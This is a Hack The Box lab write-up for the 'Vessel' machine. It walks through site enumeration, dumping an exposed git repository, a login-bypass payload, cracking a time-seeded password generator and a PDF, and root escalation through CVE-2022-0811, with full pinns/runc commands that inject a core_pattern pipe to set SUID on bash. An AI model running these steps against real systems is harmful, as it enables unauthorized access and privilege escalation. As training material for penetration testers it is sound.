Hack The Box - Vessel [Hard] - 20/08/2023

HTB Writeup

Overview

Since it becomes very time consuming doing this in a video this write-up is going to be in a text.

The machine is labeled hard with a good reason, most of the tasks are time consuming but there are some interesting vulnerabilities like CVE-2022-0811 and CVE-2022-24637.

On top of these we have NoSQL Injection and some PE reverse engineering.

Write-up

Flag 1

First I began enumerating the whole website with ffuf.

$ ffuf -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -u "http://vessel.htb/FUZZ" -fs 26

With that I discovered a folder called dev which then led me to dumping the git repository of the website:

$ git-dumper http://vessel.htb/dev/.git ./website_dump

With the website avaliable, I can check the actual source code for vulnerabilities, immediately after opening the routes/index.js I have noticed that this code might be vulnerable to NoSQL Injection.

...
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) { ...

The code doesn’t check if the passed values if they are objects, I can use a crafted NoSQL payload to successfully login with the admin user using this payload while doing the POST request:

username=admin&password[password]=1

Upon another discovery in the admin panel, I found that there is another domain on the host called openwebanalytics. From further investigation over what can be exploted there I have landed on CVE-2022-24637. With that exploit I could run a successful reverse shell on the machine.

Using linpeas I found some useful information over the user steven

/home/steven/passwordGenerator # Windows PE Exectuable
/home/steven/.notes/screenshot.png # Screenshot of some program
/home/steven/.notes/notes.pdf # Password protected PDF

I suspected that the screenshot.png is am image of the passwordGenerator.On the other hand the passwordGenerator was unusually big and the whole use of that binary is to create ‘secure’ passwords. I noticed the python icon on the binary and I suspected that this could be a packed python project with PyInstaller. I confirmed that when I loaded the whole thing in Ghidra/IDA.

I have used pyinstxtractor to extract the *.pyc files, and then the uncomplyle6 to decompile the *.pyc files. Which has led me to the actual source code of the binary:

This is the function that generates the password:

def genPassword(self):
        length = value
        char = index
        if char == 0:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
        else:
            if char == 1:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
            else:
                if char == 2:
                    charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
                else:
                    try:
                        qsrand(QTime.currentTime().msec())
                        password = ''
                        for i in range(length):
                            idx = qrand() % len(charset)
                            nchar = charset[idx]
                            password += str(nchar)

                    except:
                        msg = QMessageBox()
                        msg.setWindowTitle('Error')
                        msg.setText('Error while generating password!, Send a message to the Author!')
                        x = msg.exec_()

                return password

I edited the length to 32 (as I have it on the screenshot) and edited the script a bit more to create a list out of possible passwords. I can do that because the QTime.currentTime().msec() function returns the numbers from 1-1000 with that range I have a big chance of guessing the generated password.

Note: This process can be a bit frustrating since it takes time to generate the passwords. I personally spent little over an hour.

Then I used pdfcrack to crack the password of the PDF, there I found the password for the user ethan and I successfully logged in with it and I found the first flag.

Flag 2

I ran linpeas.sh again, and I found the following SUID binary:

...
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root ethan 814936 Mar 15  2022 /usr/bin/pinns    
...

I searched around a bit what is this, and I landed on the CVE-2022-0811 which exploited this binary. While doing this, I noticed that I also have the runc.

╔══════════╣ Container related tools present
/usr/sbin/runc       

This was a very tricky one, and it needs some understanding of what’s going on to successfully execute the attack. You can check out the link I’ve provided for CVE-2022-0811 to understand more about it. On the actual POC they have used Kubernetes, on our end I had to use runc.

The parameters that are being passed to pinns are not being sanitized and validated, so I can use that to execute code with root access.

I needed to create a container using the runc without using root so I’ve used the --rootless arg.

Reference: https://github.com/opencontainers/runc/#rootless-containers

$ mkdir /tmp/syl
$ cd /tmp/syl/
$ runc spec --rootless
$ mkdir rootfs
$ echo "chmod +s /usr/bin/bash" > syl.sh

Then I should mount the root to the root of the container:

Reference: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation

$ runc --root /tmp/syl/ run alpine
# cat /etc/machine-id
c4ca4238a0b923820dcc509a6f75849b

This will run the container and spawn a shell. Next I would ssh into the machine from another session to execute the pinns binary to our container.

$ /usr/bin/pinns -d /var/run -f c4ca4238a0b923820dcc509a6f75849b -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/syl/syl.sh #' --ipc --net --uts --cgroup

Then I need to trigger a core dump so that the pinns would execute the script in a case of a core dump. Following the PoC in crowdstrike:

# ulimit -c unlimited
# ulimit -c
unlimited
# tail -f /dev/null &
# ps
.. Find the `tail -f /dev/null` PID
# kill -SIGSEGV {thePID}
[1]+  Segmentation fault (core dumped) tail -f /dev/null

Back to the other session

$ bash -p
$ cat /root/root.txt
{HASH}